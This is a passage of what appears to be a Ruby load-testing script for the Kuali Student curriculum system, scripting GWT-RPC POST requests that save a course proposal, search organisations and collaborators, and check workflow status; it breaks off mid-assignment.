\"5|0|10|#{@request.url}/org.kuali.student.lum.lu.ui.main.LUMMain/|1ED48DA6F48F82765FE7B58378EA94E0|org.kuali.student.lum.lu.ui.course.client.service.CourseRpcService|storeCourseStatements|java.lang.String/2004016611|java.util.Map|%%_#{opts[:clu_ref_dyn_var_name]}%%|draft|java.util.HashMap/962170901|java.util.LinkedHashMap/1551059846|1|2|3|4|4|5|5|6|6|7|8|9|0|10|0|0|\"\n },\n {\n 'subst' => 'true'\n }\n )\n\n @request.add('/org.kuali.student.lum.lu.ui.main.LUMMain/rpcservices/statementRpcService',\n {\n 'method' => 'POST',\n 'content_type' => 'text/x-gwt-rpc; charset=utf-8',\n 'contents' => \"5|0|6|#{@request.url}/org.kuali.student.lum.lu.ui.main.LUMMain/|2543249A07E7952228E0E500F14F1B17|org.kuali.student.lum.program.client.rpc.StatementRpcService|getStatementTypesForStatementTypeForCourse|java.lang.String/2004016611|kuali.statement.type.course|1|2|3|4|1|5|6|\"\n }\n )\n\n @request.add('/org.kuali.student.lum.lu.ui.main.LUMMain/rpcservices/CourseRpcService',\n {\n 'method' => 'POST',\n 'content_type' => 'text/x-gwt-rpc; charset=utf-8',\n 'contents' => \"5|0|8|#{@request.url}/org.kuali.student.lum.lu.ui.main.LUMMain/|1ED48DA6F48F82765FE7B58378EA94E0|org.kuali.student.lum.lu.ui.course.client.service.CourseRpcService|getCourseStatements|java.lang.String/2004016611|%%_#{opts[:clu_ref_dyn_var_name]}%%|KUALI.RULE|en|1|2|3|4|3|5|5|5|6|7|8|\"\n },\n {\n 'subst' => 'true'\n }\n )\n \n \n \n #\n # Active Dates\n # Start = Fall Sem 2008\n #\n\n @request.add_thinktime(10)\n\n # Save & Continue\n contents1 = \"5|0|160|#{@request.url}/org.kuali.student.lum.lu.ui.main.LUMMain/|D60D3C6E0D395C18A0F44A2D9D2A7348|org.kuali.student.lum.lu.ui.course.client.service.CreditCourseProposalRpcService|saveData|org.kuali.student.common.assembly.data.Data/3184510345|org.kuali.student.common.assembly.data.Data|java.util.LinkedHashMap/1551059846|org.kuali.student.common.assembly.data.Data$StringKey/758802082|passFail|org.kuali.student.common.assembly.data.Data$BooleanValue/4261226833|java.lang.Boolean/476441737|audit|finalExamStatus|org.kuali.student.common.assembly.data.Data$StringValue/3151113388|STD|campusLocations|org.kuali.student.common.assembly.data.Data$DataValue/1692468409|org.kuali.student.common.assembly.data.Data$IntegerKey/134469241|java.lang.Integer/3438268394|AL|_runtimeData|id-translation|All|code|#{opts[:subject_area]}#{opts[:course_suffix]}|courseNumberSuffix|#{opts[:course_suffix]}|courseSpecificLOs|loCategoryInfoList|id|%%_#{opts[:lo_category_id_var_name]}%%|loRepository|kuali.loRepository.key.singleUse|metaInfo|createId|admin|createTime|org.kuali.student.common.assembly.data.Data$DateValue/2929953165|java.sql.Timestamp/1769758459|updateId|updateTime|versionInd|0|name|#{opts[:lo_category]}|state|active|type|loCategoryType.subject|loDisplayInfoList|loInfo|sequence|desc|formatted|#{opts[:lo_cat_text]}|plain|%%_#{opts[:lo_category_var_name]}%%|loRepositoryKey|#{opts[:propose_person]}|SINGLE USE LO|draft|kuali.lo.type.singleUse|courseTitle|#{opts[:course_title]}|creditOptions|fixedCreditValue|10.0|kuali.creditType.credit.degree.10.0|resultValues|kuali.resultComponentType.credit.degree.fixed|Credits, Fixed|crossListings|descr|#{opts[:course_description]}|duration|atpDurationTypeKey|kuali.atp.duration.Semester|timeQuantity|org.kuali.student.common.assembly.data.Data$IntegerValue/3605481012|Semester|expenditure|affiliatedOrgs|fees|formats|activities|activityType|kuali.lu.type.activity.Lab|contactHours|unitQuantity|5|unitType|kuali.atp.duration.week|per week|defaultEnrollmentEstimate|kuali.atp.duration.Week|Week|%%_#{opts[:atp_duration_week_var_name]}%%|1|unitsContentOwner|Lab|%%_#{opts[:lab_var_name]}%%|termsOffered|kuali.lu.type.CreditCourseFormatShell|gradingOptions|kuali.resultComponent.grade.letter|Letter|%%_#{opts[:clu_ref_dyn_var_name]}%%|instructors|personId|#{opts[:instructor]}|#{opts[:instructor]}, #{opts[:instructor]}(#{opts[:instructor]})|joints|level|100|3|pilotCourse|revenues|specialTopicsCourse|subjectArea|#{opts[:subject_area]}|kuali.atp.season.Any|Any|transcriptTitle|#{opts[:course_short_title]}|kuali.lu.type.CreditCourse|#{opts[:oversight_dept_number]}|#{oversight_department}|unitsDeployment|%%_#{opts[:admin_dep_var_name]}%%|#{admin_org}|variations|versionInfo|currentVersionStart|sequenceNumber|org.kuali.student.common.assembly.data.Data$LongValue/3784756947|java.lang.Long/4227064769|versionIndId|%%_#{opts[:version_ind_id_name]}%%|Standard final Exam|dirty|startTerm|endTerm|proposal|workflowNode|PreRoute|%%_#{opts[:proposal_dyn_var_name]}%%|proposalReference|proposalReferenceType|kuali.proposal.referenceType.clu|proposerOrg|proposerPerson|rationale|#{opts[:course_rationale]}|Saved|kuali.proposal.type.course.create|workflowId|%%_#{opts[:proposal_doc_id_var_name]}%%|collaboratorInfo|collaborators|kuali.atp.FA2008-2009\"\n contents2 = \"|1|2|3|4|1|5|5|6|7|0|38|8|9|10|11|0|8|12|10|-5|8|13|14|15|8|16|17|5|6|7|0|2|18|19|0|14|20|8|21|17|5|6|7|0|1|18|-15|17|5|6|7|0|1|8|22|14|23|-19|-21|-12|-17|-1|-10|8|24|14|25|8|26|14|27|8|28|17|5|6|7|0|1|18|-15|17|5|6|7|0|3|8|29|17|5|6|7|0|1|18|-15|17|5|6|7|0|6|8|30|14|31|8|32|14|33|8|34|17|5|6|7|0|5|8|35|14|36|8|37|38|39|3759152200|1288490188800|0|8|40|14|36|8|41|38|39|3759152200|1288490188800|0|8|42|14|43|-45|-51|8|44|14|45|8|46|14|47|8|48|14|49|-41|-43|-37|-39|8|50|17|5|6|7|0|0|-37|-73|8|51|17|5|6|7|0|8|8|52|14|43|8|53|17|5|6|7|0|2|8|54|14|55|8|56|14|55|-79|-83|8|30|14|57|8|58|14|33|8|34|17|5|6|7|0|5|8|35|14|59|8|37|38|39|3487349987|1309965025280|267000000|8|40|14|59|8|41|38|39|3487349987|1309965025280|267000000|8|42|14|43|-79|-95|8|44|14|60|8|46|14|61|8|48|14|62|-37|-77|-33|-35|-1|-31|8|63|14|64|8|65|17|5|6|7|0|1|18|-15|17|5|6|7|0|7|8|66|14|67|8|30|14|68|8|34|17|5|6|7|0|5|8|35|14|59|8|37|38|39|3479039543|1309965025280|823000000|8|40|14|59|8|41|38|39|3479039543|1309965025280|823000000|8|42|14|43|-125|-131|8|69|17|5|6|7|0|1|18|-15|14|67|-125|-147|8|46|14|61|8|48|14|70|8|21|17|5|6|7|0|1|8|48|17|5|6|7|0|1|8|22|14|71|-159|-161|-125|-157|-121|-123|-1|-119|8|72|17|5|6|7|0|0|-1|-167|8|73|17|5|6|7|0|1|8|56|14|74|-1|-171|8|75|17|5|6|7|0|3|8|76|14|77|8|78|79|19|2|8|21|17|5|6|7|0|1|8|76|17|5|6|7|0|1|8|22|14|80|-188|-190|-179|-186|-1|-177|8|81|17|5|6|7|0|1|8|82|17|5|6|7|0|0|-198|-200|-1|-196|8|83|17|5|6|7|0|0|-1|-204|8|84|17|5|6|7|0|1|18|-15|17|5|6|7|0|6|8|85|17|5|6|7|0|1|18|-15|17|5|6|7|0|9|8|86|14|87|8|88|17|5|6|7|0|3|8|89|14|90|8|91|14|92|8|21|17|5|6|7|0|1|8|91|17|5|6|7|0|1|8|22|14|93|-236|-238|-228|-234|-222|-226|8|94|79|19|100|8|75|17|5|6|7|0|3|8|76|14|95|8|78|79|19|13|8|21|17|5|6|7|0|1|8|76|17|5|6|7|0|1|8|22|14|96|-258|-260|-249|-256|-222|-247|8|30|14|97|8|34|17|5|6|7|0|5|8|35|14|59|8|37|38|39|3487345884|1309965025280|164000000|8|40|14|59|8|41|38|39|3487349962|1309965025280|242000000|8|42|14|98|-222|-268|8|46|14|61|8|99|17|5|6|7|0|0|-222|-286|8|21|17|5|6|7|0|1|8|86|17|5|6|7|0|1|8|22|14|100|-292|-294|-222|-290|-218|-220|-214|-216|8|30|14|101|8|34|17|5|6|7|0|5|8|35|14|59|8|37|38|39|3487345875|1309965025280|155000000|8|40|14|59|8|41|38|39|3487349936|1309965025280|216000000|8|42|14|98|-214|-302|8|46|14|61|8|102|17|5|6|7|0|0|-214|-320|8|48|14|103|-210|-212|-1|-208|8|104|17|5|6|7|0|2|18|-15|14|105|8|21|17|5|6|7|0|1|18|-15|17|5|6|7|0|1|8|22|14|106|-334|-336|-328|-332|-1|-326|8|30|14|107|8|108|17|5|6|7|0|1|18|-15|17|5|6|7|0|2|8|109|14|110|8|21|17|5|6|7|0|1|8|109|17|5|6|7|0|1|8|22|14|111|-356|-358|-350|-354|-346|-348|-1|-344|8|112|17|5|6|7|0|0|-1|-364|8|113|14|114|8|34|17|5|6|7|0|5|8|35|14|59|8|37|38|39|3487341491|1309965025280|771000000|8|40|14|59|8|41|38|39|3487349901|1309965025280|181000000|8|42|14|115|-1|-370|8|116|10|-5|8|117|17|5|6|7|0|0|-1|-388|8|118|10|-5|8|46|14|61|8|119|14|120|8|102|17|5|6|7|0|2|18|-15|14|121|8|21|17|5|6|7|0|1|18|-15|17|5|6|7|0|1|8|22|14|122|-406|-408|-400|-404|-1|-398|8|123|14|124|8|48|14|125|8|99|17|5|6|7|0|2|18|-15|14|126|8|21|17|5|6|7|0|1|18|-15|17|5|6|7|0|1|8|22|14|127|-426|-428|-420|-424|-1|-418|8|128|17|5|6|7|0|2|18|-15|14|129|8|21|17|5|6|7|0|1|18|-15|17|5|6|7|0|1|8|22|14|130|-442|-444|-436|-440|-1|-434|8|131|17|5|6|7|0|0|-1|-450|8|132|17|5|6|7|0|3|8|133|38|39|3487341491|1309965025280|771000000|8|134|135|136|1|0|8|137|14|138|-1|-454|8|21|17|5|6|7|0|3|8|119|17|5|6|7|0|1|8|22|14|120|-468|-470|8|13|17|5|6|7|0|1|8|22|14|139|-468|-476|8|140|17|5|6|7|0|2|8|141|10|11|1|8|142|10|-488|-468|-482|-1|-466|8|143|17|5|6|7|0|12|8|144|14|145|8|30|14|146|8|34|17|5|6|7|0|5|8|35|14|59|8|37|38|39|3487341710|1309965025280|990000000|8|40|14|59|8|41|38|39|3487350824|1309965025280|104000000|8|42|14|90|-493|-499|8|44|14|64|8|147|17|5|6|7|0|1|18|-15|14|107|-493|-517|8|148|14|149|8|150|17|5|6|7|0|0|-493|-525|8|151|17|5|6|7|0|0|-493|-529|8|152|14|153|8|46|14|154|8|48|14|155|8|156|14|157|-1|-491|8|158|17|5|6|7|0|1|8|159|17|5|6|7|0|0|-543|-545|-1|-541|-486|14|160|-489|14|0|0|0|\"\n @request.add('/org.kuali.student.lum.lu.ui.main.LUMMain/rpcservices/CreditCourseProposalRpcService',\n {\n 'method' => 'POST',\n 'content_type' => 'text/x-gwt-rpc; charset=utf-8',\n 'contents' => \"#{contents1}#{contents2}\"\n },\n {\n 'subst' => 'true'\n }\n )\n \n \n \n #\n # Financials\n # $100 lab fee\n # Admin org 100% rev and exp\n #\n\n @request.add_thinktime(5)\n\n @request.add('/org.kuali.student.lum.lu.ui.main.LUMMain/rpcservices/SearchRpcService',\n {\n 'method' => 'POST',\n 'content_type' => 'text/x-gwt-rpc; charset=utf-8',\n 'contents' => \"5|0|11|#{@request.url}/org.kuali.student.lum.lu.ui.main.LUMMain/|DB85114A8D2B33860498043707FB831D|org.kuali.student.common.ui.client.service.SearchRpcService|cachingSearch|org.kuali.student.common.search.dto.SearchRequest/2597477947|java.util.ArrayList/3821976829|org.kuali.student.common.search.dto.SearchParam/1222427352|enumeration.queryParam.enumerationType|kuali.lu.fee.feeType|enumeration.management.search|enumeration.resultColumn.sortKey|1|2|3|4|1|5|5|0|0|6|1|7|8|0|9|10|11|0|0|\"\n }\n )\n\n # Revenue - Admin Org\n for i in 1..admin_org.length\n itr = i-1\n @request.add('/org.kuali.student.lum.lu.ui.main.LUMMain/rpcservices/SearchRpcService',\n {\n 'method' => 'POST',\n 'content_type' => 'text/x-gwt-rpc; charset=utf-8',\n 'contents' => \"5|0|16|#{@request.url}/org.kuali.student.lum.lu.ui.main.LUMMain/|DB85114A8D2B33860498043707FB831D|org.kuali.student.common.ui.client.service.SearchRpcService|search|org.kuali.student.common.search.dto.SearchRequest/2597477947|java.lang.Boolean/476441737|java.util.ArrayList/3821976829|org.kuali.student.common.search.dto.SearchParam/1222427352|org.queryParam.orgOptionalLongName|#{admin_org[0..itr]}|org.queryParam.orgOptionalType|java.lang.String/2004016611|kuali.org.Department|kuali.org.College|org.search.generic||1|2|3|4|1|5|5|0|6|0|7|2|8|9|0|10|8|11|7|2|12|13|12|14|0|15|16|0|0|\"\n } \n ) \n end\n\n @request.add_thinktime(5)\n\n # Expense - Admin Org\n for i in 1..admin_org.length\n if(i == admin_org.length)\n @request.add('/org.kuali.student.lum.lu.ui.main.LUMMain/rpcservices/SearchRpcService',\n {\n 'method' => 'POST',\n 'content_type' => 'text/x-gwt-rpc; charset=utf-8',\n 'contents' => \"5|0|16|#{@request.url}/org.kuali.student.lum.lu.ui.main.LUMMain/|DB85114A8D2B33860498043707FB831D|org.kuali.student.common.ui.client.service.SearchRpcService|search|org.kuali.student.common.search.dto.SearchRequest/2597477947|java.lang.Boolean/476441737|java.util.ArrayList/3821976829|org.kuali.student.common.search.dto.SearchParam/1222427352|org.queryParam.orgOptionalLongName|#{admin_org[0..itr]}|org.queryParam.orgOptionalType|java.lang.String/2004016611|kuali.org.Department|kuali.org.College|org.search.generic||1|2|3|4|1|5|5|0|6|0|7|2|8|9|0|10|8|11|7|2|12|13|12|14|0|15|16|0|0|\"\n },\n {\n :dyn_variables => [\n {\"name\" => opts[:admin_dep_var_name], \"regexp\" => opts[:admin_dep_var_regexp]}\n ]\n } \n )\n else\n @request.add('/org.kuali.student.lum.lu.ui.main.LUMMain/rpcservices/SearchRpcService',\n {\n 'method' => 'POST',\n 'content_type' => 'text/x-gwt-rpc; charset=utf-8',\n 'contents' => \"5|0|16|#{@request.url}/org.kuali.student.lum.lu.ui.main.LUMMain/|DB85114A8D2B33860498043707FB831D|org.kuali.student.common.ui.client.service.SearchRpcService|search|org.kuali.student.common.search.dto.SearchRequest/2597477947|java.lang.Boolean/476441737|java.util.ArrayList/3821976829|org.kuali.student.common.search.dto.SearchParam/1222427352|org.queryParam.orgOptionalLongName|#{admin_org[0..itr]}|org.queryParam.orgOptionalType|java.lang.String/2004016611|kuali.org.Department|kuali.org.College|org.search.generic||1|2|3|4|1|5|5|0|6|0|7|2|8|9|0|10|8|11|7|2|12|13|12|14|0|15|16|0|0|\"\n } \n )\n end \n end\n\n #@request.add(\"DEBUG/admin_dep_var_name/%%_#{opts[:admin_dep_var_name]}%%\", {}, {'subst' => 'true'})\n\n @request.add_thinktime(20)\n\n # Save & Continue\n contents1 = \"5|0|172|#{@request.url}/org.kuali.student.lum.lu.ui.main.LUMMain/|D60D3C6E0D395C18A0F44A2D9D2A7348|org.kuali.student.lum.lu.ui.course.client.service.CreditCourseProposalRpcService|saveData|org.kuali.student.common.assembly.data.Data/3184510345|org.kuali.student.common.assembly.data.Data|java.util.LinkedHashMap/1551059846|org.kuali.student.common.assembly.data.Data$StringKey/758802082|passFail|org.kuali.student.common.assembly.data.Data$BooleanValue/4261226833|java.lang.Boolean/476441737|audit|finalExamStatus|org.kuali.student.common.assembly.data.Data$StringValue/3151113388|STD|campusLocations|org.kuali.student.common.assembly.data.Data$DataValue/1692468409|org.kuali.student.common.assembly.data.Data$IntegerKey/134469241|java.lang.Integer/3438268394|AL|_runtimeData|id-translation|All|code|#{opts[:subject_area]}#{opts[:course_suffix]}|courseNumberSuffix|#{opts[:course_suffix]}|courseSpecificLOs|loCategoryInfoList|id|%%_#{opts[:lo_category_id_var_name]}%%|loRepository|kuali.loRepository.key.singleUse|metaInfo|createId|admin|createTime|org.kuali.student.common.assembly.data.Data$DateValue/2929953165|java.sql.Timestamp/1769758459|updateId|updateTime|versionInd|0|name|#{opts[:lo_category]}|state|active|type|loCategoryType.subject|loDisplayInfoList|loInfo|sequence|desc|formatted|#{opts[:lo_cat_text]}|plain|%%_#{opts[:lo_category_var_name]}%%|loRepositoryKey|#{opts[:propose_person]}|1|SINGLE USE LO|draft|kuali.lo.type.singleUse|courseTitle|#{opts[:course_title]}|creditOptions|fixedCreditValue|10.0|kuali.creditType.credit.degree.10.0|resultValues|kuali.resultComponentType.credit.degree.fixed|Credits, Fixed|crossListings|descr|#{opts[:course_description]}|duration|atpDurationTypeKey|kuali.atp.duration.Semester|timeQuantity|org.kuali.student.common.assembly.data.Data$IntegerValue/3605481012|Semester|effectiveDate|expenditure|affiliatedOrgs|dirty|orgId|percentage|created|%%_#{opts[:admin_dep_var_name]}%%|org.kuali.student.common.assembly.data.Data$LongValue/3784756947|java.lang.Long/4227064769|fees|feeType|rateType|kuali.enum.type.feeTypes.labFee|fixedRateFee|feeAmounts|currencyQuantity|formats|activities|activityType|kuali.lu.type.activity.Lab|contactHours|unitQuantity|5|unitType|kuali.atp.duration.week|per week|defaultEnrollmentEstimate|kuali.atp.duration.Week|Week|%%_#{opts[:atp_duration_week_var_name]}%%|2|unitsContentOwner|Lab|%%_#{opts[:lab_var_name]}%%|termsOffered|kuali.lu.type.CreditCourseFormatShell|gradingOptions|kuali.resultComponent.grade.letter|Letter|%%_#{opts[:clu_ref_dyn_var_name]}%%|instructors|personId|#{opts[:instructor]}|#{opts[:instructor]}, #{opts[:instructor]}(#{opts[:instructor]})|joints|level|100|4|pilotCourse|revenues|specialTopicsCourse|startTerm|kuali.atp.FA2008-2009|subjectArea|#{opts[:subject_area]}|kuali.atp.season.Any|Any|transcriptTitle|#{opts[:course_short_title]}|kuali.lu.type.CreditCourse|#{opts[:oversight_dept_number]}|#{oversight_department}|unitsDeployment|#{admin_org}|variations|versionInfo|currentVersionStart|sequenceNumber|versionIndId|%%_#{opts[:version_ind_id_name]}%%|Fall Semester of 2008|Standard final Exam|proposal|workflowNode|PreRoute|%%_#{opts[:proposal_dyn_var_name]}%%|6|proposalReference|proposalReferenceType|kuali.proposal.referenceType.clu|proposerOrg|proposerPerson|rationale|#{opts[:course_rationale]}|Saved|kuali.proposal.type.course.create|workflowId|%%_#{opts[:proposal_doc_id_var_name]}%%|collaboratorInfo|collaborators\"\n contents2 = \"|1|2|3|4|1|5|5|6|7|0|38|8|9|10|11|0|8|12|10|-5|8|13|14|15|8|16|17|5|6|7|0|2|18|19|0|14|20|8|21|17|5|6|7|0|1|18|-15|17|5|6|7|0|1|8|22|14|23|-19|-21|-12|-17|-1|-10|8|24|14|25|8|26|14|27|8|28|17|5|6|7|0|1|18|-15|17|5|6|7|0|3|8|29|17|5|6|7|0|1|18|-15|17|5|6|7|0|6|8|30|14|31|8|32|14|33|8|34|17|5|6|7|0|5|8|35|14|36|8|37|38|39|3759152200|1288490188800|0|8|40|14|36|8|41|38|39|3759152200|1288490188800|0|8|42|14|43|-45|-51|8|44|14|45|8|46|14|47|8|48|14|49|-41|-43|-37|-39|8|50|17|5|6|7|0|0|-37|-73|8|51|17|5|6|7|0|8|8|52|14|43|8|53|17|5|6|7|0|2|8|54|14|55|8|56|14|55|-79|-83|8|30|14|57|8|58|14|33|8|34|17|5|6|7|0|5|8|35|14|59|8|37|38|39|3488193507|1309965025280|787000000|8|40|14|59|8|41|38|39|3488196257|1309965025280|537000000|8|42|14|60|-79|-95|8|44|14|61|8|46|14|62|8|48|14|63|-37|-77|-33|-35|-1|-31|8|64|14|65|8|66|17|5|6|7|0|1|18|-15|17|5|6|7|0|7|8|67|14|68|8|30|14|69|8|34|17|5|6|7|0|5|8|35|14|59|8|37|38|39|3479039543|1309965025280|823000000|8|40|14|59|8|41|38|39|3479039543|1309965025280|823000000|8|42|14|43|-125|-131|8|70|17|5|6|7|0|1|18|-15|14|68|-125|-147|8|46|14|62|8|48|14|71|8|21|17|5|6|7|0|1|8|48|17|5|6|7|0|1|8|22|14|72|-159|-161|-125|-157|-121|-123|-1|-119|8|73|17|5|6|7|0|0|-1|-167|8|74|17|5|6|7|0|1|8|56|14|75|-1|-171|8|76|17|5|6|7|0|3|8|77|14|78|8|79|80|19|2|8|21|17|5|6|7|0|1|8|77|17|5|6|7|0|1|8|22|14|81|-188|-190|-179|-186|-1|-177|8|82|38|39|470887936|1219770712064|0|8|83|17|5|6|7|0|1|8|84|17|5|6|7|0|1|18|-15|17|5|6|7|0|3|8|21|17|5|6|7|0|3|8|85|17|5|6|7|0|2|8|86|10|11|1|8|87|10|-221|-213|-215|8|88|10|-221|-211|17|5|6|7|0|1|-215|17|5|6|7|0|1|-224|10|-221|-227|-215|-213|-211|-209|-211|-219|14|89|-222|90|91|100|0|-205|-207|-201|-203|-1|-199|8|92|17|5|6|7|0|1|18|-15|17|5|6|7|0|4|-211|17|5|6|7|0|3|-215|17|5|6|7|0|2|8|93|10|-221|8|94|10|-221|-245|-215|8|88|10|-221|-211|17|5|6|7|0|1|-215|17|5|6|7|0|1|-254|10|-221|-257|-215|-245|-211|-242|-211|-250|14|95|-252|14|96|8|97|17|5|6|7|0|1|18|-15|17|5|6|7|0|2|8|98|80|19|100|-211|17|5|6|7|0|1|-215|17|5|6|7|0|1|-273|10|-221|-277|-215|-271|-211|-267|-269|-242|-265|-238|-240|-1|-236|8|99|17|5|6|7|0|1|18|-15|17|5|6|7|0|6|8|100|17|5|6|7|0|1|18|-15|17|5|6|7|0|9|8|101|14|102|8|103|17|5|6|7|0|3|8|104|14|105|8|106|14|107|8|21|17|5|6|7|0|1|8|106|17|5|6|7|0|1|8|22|14|108|-311|-313|-303|-309|-297|-301|8|109|80|-275|8|76|17|5|6|7|0|3|8|77|14|110|8|79|80|19|13|8|21|17|5|6|7|0|1|8|77|17|5|6|7|0\"\n contents3 = \"|1|8|22|14|111|-332|-334|-323|-330|-297|-321|8|30|14|112|8|34|17|5|6|7|0|5|8|35|14|59|8|37|38|39|3488189822|1309965025280|102000000|8|40|14|59|8|41|38|39|3488196198|1309965025280|478000000|8|42|14|113|-297|-342|8|46|14|62|8|114|17|5|6|7|0|0|-297|-360|8|21|17|5|6|7|0|1|8|101|17|5|6|7|0|1|8|22|14|115|-366|-368|-297|-364|-293|-295|-289|-291|8|30|14|116|8|34|17|5|6|7|0|5|8|35|14|59|8|37|38|39|3488189788|1309965025280|68000000|8|40|14|59|8|41|38|39|3488196188|1309965025280|468000000|8|42|14|113|-289|-376|8|46|14|62|8|117|17|5|6|7|0|0|-289|-394|8|48|14|118|-285|-287|-1|-283|8|119|17|5|6|7|0|2|18|-15|14|120|8|21|17|5|6|7|0|1|18|-15|17|5|6|7|0|1|8|22|14|121|-408|-410|-402|-406|-1|-400|8|30|14|122|8|123|17|5|6|7|0|1|18|-15|17|5|6|7|0|2|8|124|14|125|8|21|17|5|6|7|0|1|8|124|17|5|6|7|0|1|8|22|14|126|-430|-432|-424|-428|-420|-422|-1|-418|8|127|17|5|6|7|0|0|-1|-438|8|128|14|129|8|34|17|5|6|7|0|5|8|35|14|59|8|37|38|39|3488185173|1309965025280|453000000|8|40|14|59|8|41|38|39|3488196156|1309965025280|436000000|8|42|14|130|-1|-444|8|131|10|-5|8|132|17|5|6|7|0|1|18|-15|17|5|6|7|0|2|8|84|17|5|6|7|0|1|18|-15|17|5|6|7|0|3|-211|17|5|6|7|0|1|-215|17|5|6|7|0|2|8|86|10|-221|8|87|10|-221|-479|-215|-476|-211|-484|14|89|-486|90|-235|-472|-474|-468|-470|8|21|17|5|6|7|0|2|8|88|10|-221|-211|17|5|6|7|0|1|-215|17|5|6|7|0|1|-494|10|-221|-497|-215|-492|-211|-468|-490|-464|-466|-1|-462|8|133|10|-5|8|134|14|135|8|46|14|62|8|136|14|137|8|117|17|5|6|7|0|2|18|-15|14|138|8|21|17|5|6|7|0|1|18|-15|17|5|6|7|0|1|8|22|14|139|-519|-521|-513|-517|-1|-511|8|140|14|141|8|48|14|142|8|114|17|5|6|7|0|2|18|-15|14|143|8|21|17|5|6|7|0|1|18|-15|17|5|6|7|0|1|8|22|14|144|-539|-541|-533|-537|-1|-531|8|145|17|5|6|7|0|2|18|-15|14|89|8|21|17|5|6|7|0|1|18|-15|17|5|6|7|0|1|8|22|14|146|-555|-557|-549|-553|-1|-547|8|147|17|5|6|7|0|0|-1|-563|8|148|17|5|6|7|0|3|8|149|38|39|3488185173|1309965025280|453000000|8|150|90|91|1|0|8|151|14|152|-1|-567|8|21|17|5|6|7|0|3|8|134|17|5|6|7|0|1|8|22|14|153|-581|-583|8|136|17|5|6|7|0|1|8|22|14|137|-581|-589|8|13|17|5|6|7|0|1|8|22|14|154|-581|-595|-1|-579|8|155|17|5|6|7|0|12|8|156|14|157|8|30|14|158|8|34|17|5|6|7|0|5|8|35|14|59|8|37|38|39|3488185428|1309965025280|708000000|8|40|14|59|8|41|38|39|3488197141|1309965025280|421000000|8|42|14|159|-603|-609|8|44|14|65|8|160|17|5|6|7|0|1|18|-15|14|122|-603|-627|8|161|14|162|8|163|17|5|6|7|0|0|-603|-635|8|164|17|5|6|7|0|0|-603|-639|8|165|14|166|8|46|14|167|8|48|14|168|8|169|14|170|-1|-601|8|171|17|5|6|7|0|1|8|172|17|5|6|7|0|0|-653|-655|-1|-651|0|0|\"\n @request.add('/org.kuali.student.lum.lu.ui.main.LUMMain/rpcservices/CreditCourseProposalRpcService',\n {\n 'method' => 'POST',\n 'content_type' => 'text/x-gwt-rpc; charset=utf-8',\n 'contents' => \"#{contents1}#{contents2}#{contents3}\"\n },\n {\n 'subst' => 'true',\n :dyn_variables => [\n {\"name\" => opts[:affliated_orgs_id_name], \"regexp\" => opts[:affliated_orgs_id_regexp]},\n {\"name\" => opts[:lab_fee_id_name], \"regexp\" => opts[:lab_fee_id_regexp]},\n {\"name\" => opts[:revenues_id_name], \"regexp\" => opts[:revenues_id_regexp]},\n {\"name\" => opts[:revenue_id_name], \"regexp\" => opts[:revenue_id_regexp]}\n ]\n }\n )\n\n #@request.add(\"DEBUG/affliated_orgs_id_name/%%_#{opts[:affliated_orgs_id_name]}%%\", {}, {'subst' => 'true'})\n #@request.add(\"DEBUG/lab_fee_id_name/%%_#{opts[:lab_fee_id_name]}%%\", {}, {'subst' => 'true'})\n #@request.add(\"DEBUG/revenues_id_name/%%_#{opts[:revenues_id_name]}%%\", {}, {'subst' => 'true'})\n #@request.add(\"DEBUG/revenue_id_name/%%_#{opts[:revenue_id_name]}%%\", {}, {'subst' => 'true'})\n\n @request.add_thinktime(2)\n\n @request.add('/org.kuali.student.lum.lu.ui.main.LUMMain/rpcservices/WorkflowRpcService',\n {\n 'method' => 'POST',\n 'content_type' => 'text/x-gwt-rpc; charset=utf-8',\n 'contents' => \"5|0|6|#{@request.url}/org.kuali.student.lum.lu.ui.main.LUMMain/|71417C94A72A0CF76A43A2B36B8E3E1B|org.kuali.student.core.workflow.ui.client.service.WorkflowRpcService|getDocumentStatus|java.lang.String/2004016611|%%_#{opts[:proposal_doc_id_var_name]}%%|1|2|3|4|1|5|6|\"\n },\n {\n 'subst' => 'true'\n }\n )\n\n @request.add('/org.kuali.student.lum.lu.ui.main.LUMMain/rpcservices/WorkflowRpcService',\n {\n 'method' => 'POST',\n 'content_type' => 'text/x-gwt-rpc; charset=utf-8',\n 'contents' => \"5|0|6|#{@request.url}/org.kuali.student.lum.lu.ui.main.LUMMain/|71417C94A72A0CF76A43A2B36B8E3E1B|org.kuali.student.core.workflow.ui.client.service.WorkflowRpcService|isAuthorizedAddReviewer|java.lang.String/2004016611|%%_#{opts[:proposal_doc_id_var_name]}%%|1|2|3|4|1|5|6|\"\n },\n {\n 'subst' => 'true'\n }\n )\n\n @request.add('/org.kuali.student.lum.lu.ui.main.LUMMain/rpcservices/WorkflowRpcService',\n {\n 'method' => 'POST',\n 'content_type' => 'text/x-gwt-rpc; charset=utf-8',\n 'contents' => \"5|0|6|#{@request.url}/org.kuali.student.lum.lu.ui.main.LUMMain/|71417C94A72A0CF76A43A2B36B8E3E1B|org.kuali.student.core.workflow.ui.client.service.WorkflowRpcService|isAuthorizedRemoveReviewers|java.lang.String/2004016611|%%_#{opts[:proposal_doc_id_var_name]}%%|1|2|3|4|1|5|6|\"\n },\n {\n 'subst' => 'true'\n }\n )\n \n \n \n \n #\n # Authors and Collaborators\n #\n\n @request.add_thinktime(5)\n\n if(!opts[:collaborator].nil?)\n # Collaborator seach\n for i in 1..opts[:collaborator].length\n itr = i-1\n @request.add('/org.kuali.student.lum.lu.ui.main.LUMMain/rpcservices/SearchRpcService',\n {\n 'method' => 'POST',\n 'content_type' => 'text/x-gwt-rpc; charset=utf-8',\n 'contents' => \"5|0|14|#{@request.url}/org.kuali.student.lum.lu.ui.main.LUMMain/|DB85114A8D2B33860498043707FB831D|org.kuali.student.common.ui.client.service.SearchRpcService|search|org.kuali.student.common.search.dto.SearchRequest/2597477947|java.lang.Boolean/476441737|java.util.ArrayList/3821976829|org.kuali.student.common.search.dto.SearchParam/1222427352|person.queryParam.personGivenName|#{opts[:collaborator][0..itr]}|person.queryParam.excludedUserId|psycho1|person.search.personQuickViewByGivenName|person.resultColumn.DisplayName|1|2|3|4|1|5|5|0|6|0|7|2|8|9|0|10|8|11|0|12|13|14|0|0|\"\n } \n ) \n end\n\n @request.add_thinktime(5)\n\n\n contents1 = 